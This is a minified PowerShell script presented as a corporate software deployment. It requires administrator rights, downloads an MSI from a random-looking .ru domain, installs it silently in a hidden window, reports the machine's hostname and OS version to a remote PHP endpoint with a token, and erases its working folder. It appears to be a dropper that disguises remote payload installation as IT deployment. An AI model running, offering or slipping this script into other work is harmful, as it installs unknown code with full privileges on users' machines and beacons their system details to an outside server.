$ErrorActionPreference="Stop";$u="https://de1203af.ru/wec_client_mhvln871_.msi";$a="https://de1203af.ru/deploy-status.php";$t="3c0236b7c41d68b5284fba361e70b9e79ba3fa6f83ebcb71ba1b73e60cd1375d";$eh="204EFC610A4BC259E9BB74C940D8FFA974010B88BA3D4723514C5AB407FDB813";$id=[guid]::NewGuid().ToString();$d=Join-Path $env:TEMP ("corp-deploy-"+$id);$m=Join-Path $d "wec_client_mhvln871_.msi";$l=Join-Path $d "install.log";function S($s,$c=0,$x=""){try{$b=@{deploymentId=$id;hostname=$env:COMPUTERNAME;status=$s;exitCode=$c;message=$x;windows=[Environment]::OSVersion.VersionString;time=(Get-Date).ToUniversalTime().ToString("o")}|ConvertTo-Json;Invoke-RestMethod $a -Method POST -Headers @{"X-Deploy-Token"=$t} -ContentType "application/json" -Body $b -TimeoutSec 15|Out-Null}catch{}};try{$i=[Security.Principal.WindowsIdentity]::GetCurrent();$p=New-Object Security.Principal.WindowsPrincipal($i);if(-not $p.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)){throw "Administrator privileges required"};[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;New-Item $d -ItemType Directory -Force|Out-Null;S "STARTED" 0 "Deployment started";Invoke-WebRequest $u -OutFile $m -UseBasicParsing;if(-not(Test-Path $m)){throw "MSI download failed"};$h=(Get-FileHash $m -Algorithm SHA256).Hash;if($h -ne $eh){throw "SHA256 mismatch. Expected $eh received $h"};$r=Start-Process "$env:SystemRoot\System32\msiexec.exe" -ArgumentList "/i `"$m`" /qn /norestart /L*v `"$l`"" -Wait -PassThru -WindowStyle Hidden;$c=$r.ExitCode;if($c -in @(0,3010,1641)){$x=if($c-eq3010){"Installation completed. Reboot required"}elseif($c-eq1641){"Installation completed. Reboot initiated"}else{"Installation completed"};S "SUCCESS" $c $x}else{$x="MSI returned exit code $c";if(Test-Path $l){$q=(Get-Content $l -Tail 25 -ErrorAction SilentlyContinue)-join"`n";if($q){$x=$q};if($x.Length-gt2800){$x=$x.Substring($x.Length-2800)}};S "FAILED" $c $x}}catch{S "ERROR" 999 $_.Exception.Message}finally{Remove-Item $d -Recurse -Force -ErrorAction SilentlyContinue}